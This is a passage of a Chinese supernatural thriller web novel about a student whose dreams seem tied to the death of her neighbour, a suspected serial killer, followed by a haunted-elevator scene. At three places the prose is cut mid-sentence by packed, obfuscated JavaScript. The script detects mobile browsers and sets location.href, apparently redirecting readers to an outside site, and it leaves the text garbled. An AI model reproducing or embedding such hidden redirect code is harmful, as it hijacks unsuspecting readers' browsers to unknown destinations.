这下楞住的换成对面的青年,他睁大眼睛,脑袋一歪嘴一瞥,倒是真的很像那只猫了。 “呃,受不了,烦,很烦,明天我要逃课。” 苏夜凛彻底变成了发泄情绪一般自暴自弃的语气,不顾青年的目光兀自站了起来,随后一个倒栽葱扑回了自己的床上。 她用余光瞟了一眼还呆在桌边,沐浴月光里的黑发青年,闷闷地开口,“实在是没那个兴致陪你聊这些了,不好意思哈,‘梦神大人’。” 过了两秒,她又抬头,眼神微死,只伸出一根手指对准男青年:“说起来,你能不能变回去啊?虽然你长得还不错,但我还是喜欢猫猫……” 说完这句话,少女的眼睛就阖上了。 青年也缓缓起身,看了一眼少女的方向,微笑着开口。 “晚安,苏夜凛小姐。你很快就会知道,刚才我所说的,并不是故事或玩笑话了。” 随后他的身影化为黑色的小动物,从窗边蹿了出去。 ===== 清晨,苏夜凛听着明亮的鸟叫声揉了揉眼睛,从床上起身。 大概是昨晚睡眠量足够,虽然那些不愉快的噩梦场景仍在脑中回放,断续不止,但是她也并没有感到特别疲惫或难受。 她想到自己好像是在重复和之前类似的梦境,最后一剑捅死了什么人,却又因此获得了解脱。 她也不可避免地想到梦里那个青年。 黑与白与蓝,冷调却艳丽的面庞,偶然捡到的黑猫化成的形象。 她对自己有点无语,难道说单身太久了开始捏造这种幻想? 但是她和对方没什么柔软旖旎的互动,反倒是一直在聊些很抽象的、现在几乎想不起来的奇怪内容。或许是夜晚的秋风太凉,她想起那个场景只觉冷飕飕的。 她心里默默吐槽着,束好长发,一边刷牙,一边对着洗手台的镜子端详自己的脸。 有些苍白的肤色,纤长睫毛下无神的眼睛,唇峰明显的上唇。 其实,从小到大有不少人赞许苏夜凛,夸她是标志的美人坯子,但是后来,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016892|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却越发地对自己脸上被来回打量和评判的特征感到抵触,宁愿用灰头土脸的扮相面对每一天,极力避免引人瞩目。 她不得不承认,自己甚至连做个木头美人的气魄都没有。 这样令人贻笑大方的弱者,居然也会在梦里畅想着成为魔幻小说的女主,拯救四处潜伏的危机…… 她放好水杯,关上小柜子,对镜挤出一个勉强的微笑,拎包朝门口走去。 ==== 随着插销锁上的声音,她注意到了走廊中与以往截然不同的氛围。 先是气味,周边弥漫了一股她难以形容的闷气和锈味,以及强烈的腐臭。 再是声音,有几个人用相当正经的语气在交流着什么信息。 她抬起头,只见隔壁房间门户大开,几个穿着制服、别着徽章的身影正在讨论和记录着什么。 那正是她家隔壁的那一户,要说位置的话,是紧靠着房间洗手间的那面墙壁。 ……隐藏在洗手间门后的、隔壁的男人? 突然间脑中某根载满了联想与暗示的神经一动,像是细小的电流击中了她,苏夜凛忍不住停下脚步,悄悄趴在旁边听起了里面的对话。 里面两个警员背向门的方向,在低声讨论着。 “怎么可能这么巧,这么多年破不了的案子,恰好就和这个人有关?” “偏偏是在嫌疑人死了之后接到报案,还恰好出现了以前悬案相关的证据……等消息出了,外界会怎么说这事,我都不敢想。咱们怕是又要加班了。” 他们说着现场的事,语气没有太大起伏,但是关于死亡和血腥的联想涌进了苏夜凛的大脑。 “注意言辞!你俩,太久没来现场,忘记讲话的规矩了?” 紧接着呵斥两人的,是一个明显更年长、更沉稳的声音,“也有可能就是个模仿犯,现在的情况,没有任何条件让你们立刻就下判断,连这点素质都没有了吗?” “没没没楚队,我们就是闲聊……” “你有什么事吗?” 苏夜凛听得正专注呢,冷不丁,一个女声出现在背后,她吓一跳,条件反射地转过来,那是另一名女警,好像刚刚从外面回来,大概是注意到了苏夜凛在偷听,适时打断了她。 “对不起!我,我刚从房间里出来,听到了一点声音有些好奇,请问,你们是在……?”苏夜凛下意识地拿出温和恭顺的态度面对对方。 但是说出这些问题,她又难免觉得自己愚蠢。刑警在的场合,还能是做什么呢? 此时,穿着制服的冷淡女性看向她,回应了她惊惧的目光。 “你是住在隔壁的学生是吗?我们是来调查现场的,正好,我们也希望从你这里了解一些信息。 “不知道发生了什么?嗯,那肯定的,但是情况重大,我们也还在搜查,你要有保密意识,不能随便出去乱说。 “简单来说,你隔壁这位男性……他身上可能多少有点隐情,你平时有觉得他哪里反常吗?他很可能……有犯罪前科。 “不过这些只是推测。重要的是,我们昨晚接到报案的时候……这个人已经死在了家中。” “所以,你近期有感觉到什么异常么?” 5. 沿窗缘02 冷冰冰的语言从女警官口中飘出,苏夜凛的脑中一片闪白。 根据她刚才听到的对话,以及警官讳莫如深的表情,谁都知道事情不简单。“悬案”这个关键词在苏夜凛的脑袋里发酵。 如果说到“影响很大的悬案”,那她只能想到一件事。 “多年前的一起连环杀人案”,在辉云市,可以说是个无人不晓的恶性事件。 此案蔓延多年,据说受害人以年轻女性为主。一开始是几起独立的失踪案,警方没有将其视为刑事案件范畴,直到有两名少女的尸体分别在江滩和郊区的废弃工厂被发现,零散的线索才不断被侦察、再拼凑到一起。 这件事情的讨论也是经久不衰,虽然数年过去,已经变得像都市怪谈一般,没那么令人恐惧,但仍像是笼罩于辉云天空中的一丝无形阴翳。 如今,这个在论坛和社交平台上时不时会冒出来的鲜红话题,紧紧抓着她不放。 虽然警官对她说的话很保守,但是他们多半是已经发现了什么关键证据,能够确定此人是嫌疑犯吧? 而这个未曾谋面、可能是个杀人狂的家伙,就这么不明不白地死在了自己的隔壁。 所以他是用什么手法、做了什么事情?是用巨大的长身刀具,高高地扬起又劈砍而下吗? 他又是怎么倒在家中的?是被差点遭他残害的少女抄起武器贯穿心脏吗? ——就像在昨夜的梦中,自己隔墙所见的一切那样? 苏夜凛打了个寒噤,昨夜冰凉又怪谲的梦中景又爬上思绪,叫她身体发麻。 “……你是这附近的学生吗?”女警官看她神情恍惚,试着用轻松一点的问题将苏夜凛唤醒。 “啊、对,我就是旁边辉大的。”苏夜凛手足无措地回应着她,又猛然觉得自己这副慌张的样子,会不会反而给执法人员不好的印象? 虽然她与案件本身毫无关联,可如果要接受调查之类,也很可能涉身于麻烦中。 ……话又说回来,自己真的和案件“毫无关联”吗?苏夜凛自也无法确认这一点了。 对方点点头,继续询问,“你是独自租房住吗,住了大概多久呢?” “是,我一个人住,差不多搬来一个月了。” “好的,那么请你回忆一下,最后一次和隔壁这间的房主见面,大概是什么时候?” “我——”这个问题让苏夜凛噎了几秒,随后她眼神又慢慢落到自己的脚尖,有些愧疚地说着,“对不起,我没注意过……虽然平时会擦肩而过,但我其实不太清楚附近都有谁,也没关注他们都是住在哪一间的……” 她越讲声音越微弱,心底对自己“迟钝到注意不到邻居都有谁”这一事深感懊恼。 “嗯,这样啊,我明白了,”干练的女性没有过多回应她的情绪,摸出袖珍的记录簿,按了两下笔头,“那麻烦告知一下你的名字和电话好吗?我们的调查有可能需要求助于这个居民楼的其他住户。” “好——”苏夜凛连忙点头,“我叫苏夜凛……” ====== 进到教学楼之后,苏夜凛仍然魂不守舍。 任谁得知自己房间的一墙之隔后,可能是沉默又臃肿、散发着血腥气的杀人狂,都无法镇定。 但是随之而来的问题是……她那荒诞却又莫名与某些事实合上的梦境,与这一切有联系吗? 那只黑猫的声音、那个青年的幻影陡然闪过苏夜凛的脑海。 ——— “现在,你的确从梦中脱离了。” 青年独特的蓝眸在月影中过于幽深。 “但不幸的是,你还会被那些梦魇所纠缠。” “他”的脸上仍然挂着浅淡的笑意,说出的内容却令人极其不安。 ——— 一次回忆之后,这几句话变得越发越清晰,不断回荡在苏夜凛耳边,逼迫着她反复咀嚼。 “唰啦——” “哎,小心台本!!” 又一阵突兀的声音把苏夜凛拉回现实。她反射性地绷紧神经,眼睛也终于开始聚焦,发现自己脚边,白花花的纸页散落一地。 而自己正在做什么……? 苏夜凛看着自己的手中,她从桌上的书堆里抽出了一本蓝色的文件夹,但是把乱七八糟地摞在文件夹上的书本和纸张弄散了。 略显陈旧的文件夹封面贴着一片纸页,写着“编剧部-耿”。 再怎么神游天外,此刻也回神了——她正在社团打杂,帮剧社编剧部的学姐拿资料。但即便是这么简单的事情,自己也因为走神干砸了。 刚刚打印出来、没有来得及整理好的台本错落地飞到地上。 苏夜凛顿时无地自容,连忙蹲下来,手忙脚乱地捏住一张张凌乱的纸张拢在一起。尴尬和羞愧交织成隐秘的纠扯感,又让她开始心胃发慌。 “天呐,我刚刚打印出来的,这下子页码全乱了……” “对不起、对不起……” 苏夜凛听着略带埋怨的声音,她都无暇去想谁在说这话,也不敢抬头,只是一个劲道歉。 “唉、小苏你真是……”接着一个无奈的女声响起,装饰着金属扣的白色芭蕾鞋进入苏夜凛的视野。 这个无奈的声音正是文件夹的主人,也是编剧部的部长耿学姐,她平时为人温柔,不太会责难谁,让苏夜凛安心了些。 “耿学姐没事,我来就——” “不是,你先把文件夹给我呀。” 苏夜凛连忙抬头,见耿学姐揉了揉太阳穴,看向桌面上躺着的蓝色硬皮。 她语气冷硬,否定了苏夜凛迟钝笨拙又不到位的努力。言语中的不耐烦和质疑让所有在场的人都投来目光,或是看好戏的期待,或是奚落。 当然,不会有人把这些事情宣之于口。 “……没事,我拿了哈。” 耿学姐越过蹲姿的苏夜凛,伸手一取。将一时的混乱以平淡的陈述句抚过。 社团活动的小教室一如既往,大家都沉浸着做自己的事情,看本、讨论,只有苏夜凛机械又拙劣地清理着地面,感觉自己格外多余。 “呀呀,我来帮你!” 一道格外明快的音色抓住了苏夜凛的注意力。 还没等她反应过来,那声音的主人便跃到她跟前,也半蹲下来,麻利地收拾起散乱的资料。 “啊、谢谢你——” 苏夜凛抬眸扫过,是个她没什么印象的女孩子,蓬松整齐的青灰色短发,鹅黄色的发箍,秀丽的细眉下是非常明显的双眼皮和卧蚕、亮晶晶的眼睛。 稍微打量一下就能明白,是和自己不同的,靓丽活泼、打扮讲究、非常招人喜欢的女孩。 虽然苏夜凛每周也就来剧社一两次,但大部分成员她都是对得上脸的,这样标致的女生也不太可能记不住。 似乎是注意到苏夜凛的目光,少女也猛地抬头,闪光的清澈双眼对上她。 “是学姐吗?我是刚加入的新生,文曦瑶,叫我小文或者瑶瑶都可以~” “好……小文。”苏夜凛勉强让自己用带着笑意的声音回应她,“我是大二的,叫苏夜凛……还真有点不适应别人叫我学姐,可以叫我小苏什么的…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016893|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 苏夜凛不擅长应对那些胸有成竹、自信闪光的人,也因此她对带着这种“气息”的人很敏感。 显然文曦瑶就带着一点那样的“气息”。她乌黑清亮的眼瞳中释放着纯粹的友善,却反而叫苏夜凛难以直面。 “好的,小苏学姐!”文曦瑶笑着点头,颊边的鬓发也跟着一晃一晃。 没一会儿,两人理好了散开的纸张和落在地上的书本,苏夜凛感觉文曦瑶一点也没收敛观察自己的目光,不由想着自己是不是有哪里看起来奇怪,或是做了滑稽的举动。 苏夜凛迟疑地回看对面的女孩。 “怎么了吗,我脸上有东西……?” “嗯?不是不是。”文曦瑶仍然是那副敞亮的态度,“我只是在想,学姐你是哪个部的呀?因为我这个星期天天来混脸熟,居然好像没见过你诶。” “硬要说的话,我也就是后勤人员之类的吧……所以来的也比较少。” 面对这个积极又有条不紊的学妹,苏夜凛不好意思道出自己曾经只是随波逐流,觉得有必要选择一个好社团,不辜负自己的大学生活,才浑浑噩噩地来到这里。 之后毫不意外地成了边缘人员,来了也只是跑跑腿、额外福利仅是翻阅一下剧社的藏书罢了。 “哦,居然……我还说我去演员部串门好多次了,怎么可能没记住你这种大美女呢!” 对方非常自然地吐出了溢美之词。可虽是好意,对于被关注和评价外貌有本能抵触的苏夜凛,这些语句只叫她想逃离。 “哈哈、什么……不要开玩笑啦。”她举起手边的一本书,下意识地挡住自己半边脸颊。 “哇真的真的,绝对没有过誉!学姐不来演员部吗?开学首秀的试镜是对剧社所有成员公开的耶!” 文曦瑶拍了拍裙摆坐下,撑着下巴望向苏夜凛的脸。 “我不适合那个……”她干巴巴地回应着对方的热情,“说起来,小文你是演员部的吗?” “我啊,我目前是在导演部,不过没有很定下来!想要每个部门都呆一阵子,和学长学姐多交流一下。” 月海剧社是学校里规模比较大的代表性社团,演员部、导演部、编剧部、服化道等核心部门是用心参与和打磨各种演出的,如果能取得一定成绩或席位,还能够加学分。 苏夜凛听着对方热情的陈述默默点头。几乎是透明人的她与热闹的社团生活无缘了,但是如果是文曦瑶,恐怕真能成为骨干人物吧。 苏夜凛脑袋又垂下去了,自己虽然是学姐,但仿佛只是来这混了一年,举手投足间好像都被这位学妹的光芒压住了一样。 “说起来,今天好多人不在,可能过一会就收工了,学姐要不要一起去吃晚饭?” “吃晚饭吗……” “嗯嗯,看学姐你,有时间我们就去外面找点小吃奶茶什么的,时间紧的话一起吃食堂也可以。” 苏夜凛本能的拒绝意识几乎要代替她说出那个不字了,但是面对文曦瑶闪烁期待的眼神,好像推拒了才是有愧于心。 “可是——好吧……”她就这么迷糊地答应了下来。 就在对面的文曦瑶欢呼着“好耶”的间隙,苏夜凛的注意力突然被牵至教室的一角,窗外的景象。 显然是一个纤细修长的身影,简洁的白衬衫,有点像咖啡厅的侍者,丝缎般黑色短发,蓝色的眼瞳,在窗外错落的绿树嫩枝下,他色调冷得有些突兀。 苏夜凛几乎要起身追出去,但是一眨眼之后,那人的身影在窗框边隐没,几秒之后,一只黑色毛皮的猫轻巧地跃过窗沿。 6. 转角间 01 小小黑色影子一下触动了苏夜凛某根沉睡的神经,倒错血腥的噩梦、不明所以的对谈、女刑警淡漠而审慎的眼神在片刻之间混乱交错,一齐涌入少女的脑中。 苏夜凛突然起身,本来已经在归档的文件被撂下,留下一边的文曦瑶不明所以。 她冲出教室,抄近路踏出侧门,在杂乱的灌木、低矮而无人使用的石桌石凳旁看到那一团小小身影。 虽然她很着急,但被寻找的对象就很坦然,完全没想和她玩什么你追我赶的小游戏,只是坦然地伸展着前爪,长尾巴晃得优雅又百无聊赖。 “露娜、不——...梦神?” 她有些不确信地盯着这只毫无威慑力的小生物,唇边艰难地浮现出那个只在氤氲梦境中闪过,生涩又超现实的称呼。 “请告诉我,昨天的那些事情,都是真实发生过的吗……?” 谁也没有回应,微风卷过零星路过的几个学生的谈笑声,苏夜凛恍然间觉得自己很荒谬,像是神游天外掉进了异世界一样。 无人为她的问话所动,猫咪已经半瘫在石桌上,缓缓地舔自己的前爪。 “呃,果然人睡不好脑子就会出问题……”虽然没任何人在意,但苏夜凛还是为自己的臆想感到有点难堪,用指腹揉了揉耳垂。 除非是童话故事的女主……否则连“奇怪的事”都是日常生活中的奢侈……人还是要老实地回归现实。 “在这里我很难跟你解释,不过不用担心,你脑子没出问题。” 少女的目光怔住。一瞬之间,她对“现实”的脆弱认知再次被击碎。 是的,正是那个礼貌矜持、又有点缺乏温度的声音……是那个徘徊在虚无银月前的身影。 小猫没怎么挪动,不寻常的浅蓝眼眸盯着少女。 “学姐!” 还没等苏夜凛继续多想,另一个新认识的声音打破了她的僵直。 “怎么回事啦,突然跑出来,你的书包都没拿走呢!” 文曦瑶出现在视野中,她双手抱着苏夜凛的书包,发梢些微翘起又为她增了几分活力。 “啊,对不起,小文,”苏夜凛忙接过书包,整理好自己的姿态,习惯性地道歉,“我刚才,那个……突然看到了很面熟的人经过,所以有点着急就出来了……” 好烂的借口啊,学校里的熟人,是有什么错过了就联系不到、必须出来打照面的必要吗?苏夜凛忍不住对自己吐槽。 “熟人……?”带着鹅黄发箍的女孩眼珠滴溜一转,似乎没把这个小插曲放心上,“还以为学姐你觉得我太难缠,不想吃饭所以跑路呢~” “哈哈,怎么可能啦!” 苏夜凛跟着笑起来,余光赶紧扫了一下刚才注视的方向,果不其然,那神出鬼没的黑色身影又没了踪影。 === “好了吗好了吗…虾饺好了吗!!” 蒸腾白色热气的小锅子前,是文曦瑶睁大眼睛不放的模样,死守着那刚开始咕嘟冒泡的平面,仿佛在为了某项伟大任务盯梢一样。 苏夜凛小小地笑出声,她们在学校旁边的小商场里吃自助小火锅,独立的小钢锅、转盘上的菜肉共同构成华丽的一餐。 她的锅底口味是番茄味,文曦瑶则豪迈地要了重辣加辣,两人都在红彤彤的汤底里捞着白色绿色的配菜。 “小文你那个看起来好重口……”苏夜凛有点好奇,但又对那翻滚的干红椒望而却步。 “哇~~有点辣!但是好爽!”文曦瑶吃得脸上冒红,没一会儿便甩着短发呼气。“学姐你的怎么样!” “嗯,汤底挺鲜的……番茄味很醇厚……”苏夜凛没来过这家店,或者说平时她在吃方面还是比较有意节省。今天难得离开食堂千篇一律半温半冷的饭菜,让她情绪愉快不少。 “说起来学姐——嘶、我有个问题……”女孩一边呲着牙扇着风,一边朝她投来目光。 苏夜凛下意识地怕她抛出什么重要问题,手指了攥紧筷子。 “就是、呼呼……学姐你的头发在哪里染的呀!这个颜色,比一般的红色要暗,但是又很有存在感,嘶……很优雅!” 女孩亮亮的眼睛传来好奇与欣赏,苏夜凛哑然失笑。 “其实我没染过头发……天生就是这个样子的。” “这么好???羡慕死了,你本来就长得漂亮!说好的上帝会关上一扇门呢!”文曦瑶好像发现了稀世珍宝一样盯着她。 “啊哈哈哈……我,我觉得小文的发色也很漂亮,很酷也很可爱……” 苏夜凛有点不知所措地戳着锅里的蘑菇。 她不喜欢被评价外貌是有原因的。她总忘不了从初中开始被身着同样校服的孩子们明里暗里打量的那些日子,以及被老师当众呵斥“为什么无视学校的规定染发”的质问。 神经容易过敏的少女慌乱解释道这是天生的,也只是换来教师满面的狐疑,以及刺眼的太阳光里同学们讥讽的笑意。 “染就染咯,怎么有人还找这么烂的借口,想臭美又想装。” “隔壁班的太妹都只能偷偷染个棕色发尾呢,这位真的是,够个性~” “这种时候还要装那副唯唯诺诺的乖乖女的样?” 其实这都只是微不足道的小事,对吧?可是这种时候,苏夜凛总感觉有什么尖锐又沉重的东西,在她心脏和大脑上刻录了乱七八糟的印记。 从那之后,她默默地买回黑色的染发剂,在空荡的家中、狭窄的浴室里,一遍又一遍地将发根到发梢都抹尽。 直到大学之后,没人再会为她的脑袋大惊小怪了,因为她孤僻封闭,甚至没谁会开口询问这件事。 文曦瑶不一样,她的夸赞来得明媚又纯净,直来直去不含一丝打探审视的阴霾。 “学姐我能尝尝你的火锅吗?”文曦瑶挪了挪小转椅,凑近她身边,“你也可以尝我的!不过真的有点辣哦……” 苏夜凛瞧着她的笑颜,也像被感染似的使劲点头,又觉得自己很久没这么放松地和朋友一起玩了,忍不住鼻头一酸。她立刻按住情绪的阀门,斥责自己实在是太敏感太脆弱。 === 没一会儿,俩人又游荡去了奶茶店,文曦瑶坚持要她坐在店里的大猫沙发上拍照,苏夜凛不好意思地半捂着脸,文曦瑶又换自己过去让她拍。 折腾几分钟后,她们也松弛下来,吸着奶茶默默地刷起手机。 苏夜凛看着手机里给文曦瑶连拍的照片,她镜头感很好,敢于做夸张的动作和表情,苏夜凛都想发在自己的朋友圈里,炫耀一下这个新认识的可爱学妹。 “我的天呐……” 十几分钟过去,苏夜凛正百无聊赖地看起了关注的自媒体账号时,文曦瑶惊讶的语调唤起了她的注意。 “怎么了小文?”苏夜凛看她脸上的表情不太对。 “呃,学姐你要听吗?这个稍微有点吓人……” 文曦瑶对她亮了亮手机屏,显出一片浅蓝色的界面,排列着文字和表情,苏夜凛感觉自己也在哪里见过。 她很快想起来了,这是一个论坛,据说是辉云市最大的本地生活论坛,前几年非常火爆,现在热度没那么高了,但也是每天都有新贴。 “嗯,发生什么了?”苏夜凛感觉有些不妙。 “你听说过…….辉云的那个连环杀人案吗?”文曦瑶情绪一转,的脸上满是严肃的表情。 她大概知道文曦瑶想说什么了。心像是贴上冰面一样冻结了一秒,只能默默点头。 “辉云发生的连环杀人案”,听到这个话题的人,都会自动关联上对应的信息。几年之间陆续发生的连续案件,遇害的女子被抛尸到江边、废弃工厂等多个地点,因为时间线长,线索不易串联,结案的可能性渺茫。 “好像说,找到了一个可能是嫌疑人的男人……但是他已经死了。”戴着鹅黄发箍的少女划着手机,“这个帖主说,他因为看到警方在自己小区调查,四处打听托关系,才知道是接到报案,发现了一个独居男人的尸体。 “好像有迹象证明,他可能就是那个案子的凶手!这个案子可能是以前技术不发达,追踪不到凶手的信息……明明已经查了这么久,居然在这种时候捡到现成的,但他也已经没法说话了,也没法给一具尸体审判……大概就这么一回事……嗯,不过说实话发在网上的东西,也不知道是不是真的。” “或许是吧。”苏夜凛喃喃低语。 “什么?学姐也听说过这事?”对面的少女满脸惊诧。 “没有……”苏夜凛感觉自己脑袋里乱七八糟的剪影又缠成一团乱麻了。都怪那些怪梦…….不,并不仅仅是梦?脑袋好痛…… 她想起下午从窗框中显现的那个清寂身影,下一秒变成了浅蓝瞳色的猫。 “不,我只是觉得,如果是真的倒还好了,那种人最好是已经死了……但愿警方发现的就是他的尸体。” 脑袋里繁杂一片,反而让苏夜凛不经思考地道出自己的感想。她说了平时“温良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016894|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆小”的自己很难讲出来的话。 听起来很正义凛然,但也有一部分是出于私心。如果那个人的死和自己有什么关联、如果自己导致了谁的死亡……那么他最好是个不可饶恕之人,这么想会好受点,不是吗? “对!!我也希望是真的,专门找反抗不了的女人下手,奸/杀分/尸的变态,现在死都算是便宜他了!不是不报好吗!”文曦瑶气鼓鼓地提高嗓门,旁边店员都露出惊慌的表情。 “虽然还不知道是谁杀了他,反正,我觉得干得漂亮!”少女说着,倒回座椅上。 是吗……不管是谁,“处决”了一个十恶不赦之人,当然算是好事,理所当然吧? 苏夜凛在心底自语,却又始终对这个问题如鲠在喉。 ==== 初秋,日落之后的空气便掺进了些许寒意,两个女孩乘着步行街上琳琅灯光,又瞎闲逛了一会儿。 文曦瑶听苏夜凛说“还要在外面逛一会儿”之后,追问她等锁门的时间过了,要怎么回学校,她只能不好意思地坦白自己已经不用回宿舍了,出来租了房子。 “原来学姐你一个人住呀,不错啊很自在!”文曦瑶捧着奶茶,她对于“一个大二女生不住寝室,非要在外租房”这件事不像老师们那样严厉,也没想八卦追究原因。“那你晚上一定要小心哦!到家了记得给我发消息。” “嗯嗯!”苏夜凛没什么朋友,和人交往总是神经紧绷,但是文曦瑶不同,这短短两三个小时的相处,自己心情都舒缓了不少。望着少女渐行渐远的背影,又有一丝幽微的落寞涌上心头。 商业街离家不远,她平时会选择买两个水果充当明后天的早餐,躺在床上刷刷剧,生活简单到几乎没有任何信息量。 但是今天回去的路上,却感觉种种晦暗不明的想法情绪绞缠在一起,让人失去了平时纯粹的心情。 叮咚——她的手机响了。或许是小文到宿舍了?苏夜凛欣喜地点开提示,随后嘴角又耷拉了下去。 「耿学姐: 夜凛,不好意思打扰你了 请你帮个忙,我今晚监督排练,但有个特别重要的审评表没拿 因为是特训,在场大家都有事做没人手,今天又是周五…… 总之麻烦你在主教一楼C3教室拿一下文件可以吗?送上12楼投影厅就好 不会让你白跑腿的,谢谢亲爱的~」 她盯着那块闪光的屏幕,犹豫在原地。学姐不知道自己在外宿,甚至可能以为她住在和主教楼很近的南区,要告诉学姐自己也不在校园内这件事吗? 但是、她应该很着急吧…… 加上想起今天在剧社活动室自己的冒失,也感觉不好意思拒绝…… 反正自己没什么别的事,反正这里离主教楼也不远——苏夜凛仰头,想着大概要花费的时间和距离,喝掉最后一口奶茶小料,将塑料杯丢进垃圾桶里。 === 主教楼是辉云大学的标志性建筑,也是少见的修筑成高层的教学楼。 准确地说,它的中心楼体是一个高层的建筑,一行行玻璃窗整齐排列,四周则由厚实砖石构成的低层嫁接簇拥,像是紧挨着城堡的城墙。 她乘上了电梯,按下按钮。 最上层的12楼是特定活动的使用地点,也有着汇演厅、投影会议厅等比较重要的教室。 因为取景、活动、接待领导等都是来这里,甚至有两座特别定制的直梯,四周都是有特制暗纹的金属墙面。 两座直梯的设计也很有意思,为了不让学生上课占走太多电梯使用率,“智慧”地设定了只能通往8-12楼,为此没少被历届的同学们吐槽过。 四下无人,整个教学区都静得只有风声。苏夜凛迈入电梯,默默等待钢铁盒子往上爬升,一层、一层……思绪也在封闭和沉默中散开,蔓延到各处。 今天似乎很平常,但是又像是遇到了不少人,知晓了不少事…… 电梯继续一层一层上爬,苏夜凛有点疲惫,跑神的模糊间隙里,一阵并不悦耳的“哐”声将她拉回了现实。 不……这真的是“现实”吗? 她楞楞地盯向自己的面前,看见几个电梯按钮上的数字变成了读不懂的乱码,忽明忽灭,毫无规律地疯狂闪烁着,伴随着连续不断、啪嗒啪嗒的噪声。 就像是有谁在电梯里发狂地、歇斯底里地胡乱拍打着按钮一样。 但是,这电梯里只有她一个人。 ==== 7. 转角间 02 她终于意识到异常的存在:本该只有自己一人的电梯里,传来拍打按键的杂音。苏夜凛浑身一个激灵,心脏在怦怦狂跳。 太不对劲了,她缓慢地抬起头,逐渐上移目光,生怕惊动了什么别的“东西”。 亾亾亾亾亾亾亾亾亾……一块块电梯按键上,看不明白的生僻字全部呈鲜红色,取代了原本的数字,高频率而毫无规律地闪烁、发出咔哒咔哒的噪音。 苏夜凛感觉机械运行的噪音越来越大,而这个封闭的大铁箱只是一直昏暗沉默地往上跑着。 脚下感觉到越发明显的震动,电梯的速度仿佛变得更快、更不稳当了,仿佛悬在上面的那根丝就要断掉。 女孩又抬起目光想观察到更多东西,然而很快,她就不敢再继续抬头了。 因为余光瞄到了头顶电梯显示屏上亮着冰冷的红字。 「即将到达—13层」 但分明这层楼最高的就只有12层……. 她感觉有点慌乱,一只手揪着外套的扣子,一边摸出手机。虽然电梯里信号很弱,但说不定能和耿学姐发上一条消息呢? 苏夜凛按下手机侧边按钮,屏幕倏然亮起,上面是一张陌生女人的脸。 苍白的面容,眼下有乌青色,极度偏灰的色调里,充满死气的双眼直勾勾地盯向她。 她着实被吓了一跳,没拿稳的手机掉在地上,摔出沉闷的声响。她不敢立刻捡起手机,生怕灭下去的黑色方块上出现什么更加可怕的东西惊扰神经。只能紧绷着意识杵在原地。 但是这该死的电梯就是停不下运转,仿佛有无数双眼睛从每个缝隙中透来沉重漠然的目光,观察着她的反应,永不停歇……. 逃避不是办法——苏夜凛给自己鼓气,她挪动身体欠身蹲下,小心翼翼地掂起手机按开,侧着看一眼屏幕——没问题,是正常的、自己平时使用的风景墙纸…… 少女试图起身,又在下一个瞬间浑身冷彻。 她的双眼对上电梯门模糊的金属面,那里是自己的倒影。 但是现在,在反光里与她四目相对的,是刚才手机里那个女人。 她和自己好像是一样的身型和姿势,穿着水手服一样的长袖长裙,因为不够清晰而虚化了轮廓,唯独那双眼睛像活着一样看过来…… 苏夜凛连声音也发不出,讪讪地弓着身子无法动弹,但她突然又觉得这幅场景有点熟悉…… 电梯门上的女人好像张嘴喃喃了什么,苏夜凛感觉一阵眩晕,视野摇晃。 她拍了拍脑袋,试图让自己清醒些,同时小心翼翼把眼睛眯成缝,惧怕地探查着金属门上的倒影。 谢天谢地,那个倒影还是她自己,正常无比的着装和脸…… 她舒了口气,站定身子,这才把眼睛睁开。 “啪。” 接着又一个声音响起,轻轻的,但是有点突兀和黏腻地拍在地面。苏夜凛的目光下意识地往下一扫。 一双眼睛。 从眼眶中掉出来的、因连着血丝神经而格外生动的眼球,瞪着自己。 如果“她”的眼睛还在,从镜面里消失的“她”又往哪去了呢? “呃…….”苏夜凛浑身发毛,寒凉的恐惧蔓延却叫不出声,她只能无助地闭紧双眼、堵住耳朵,崩溃地想把一切惊惧都赶走。 “哐!!” 被强烈的冲击声吓到,苏夜凛再度睁眼,狭小的世界已经在扭曲中变了模样,整个电梯成了斑驳古旧的锈红色,墙壁上地板上,黑红色不均匀的墨水划下混乱的痕迹。 「来找我」「来找我」「来找我」「来找我」「来找我」「来找我」「来找我」「来找我」「来找我来找我来找我来找我来找我来找我来找我」「来找我来找我来找我来找我来找我」「来找我来找我来找我」「来找我来找我来找我来找我」「来找我」来找我来找我来找我来找我来找我来找我我来找我来找我 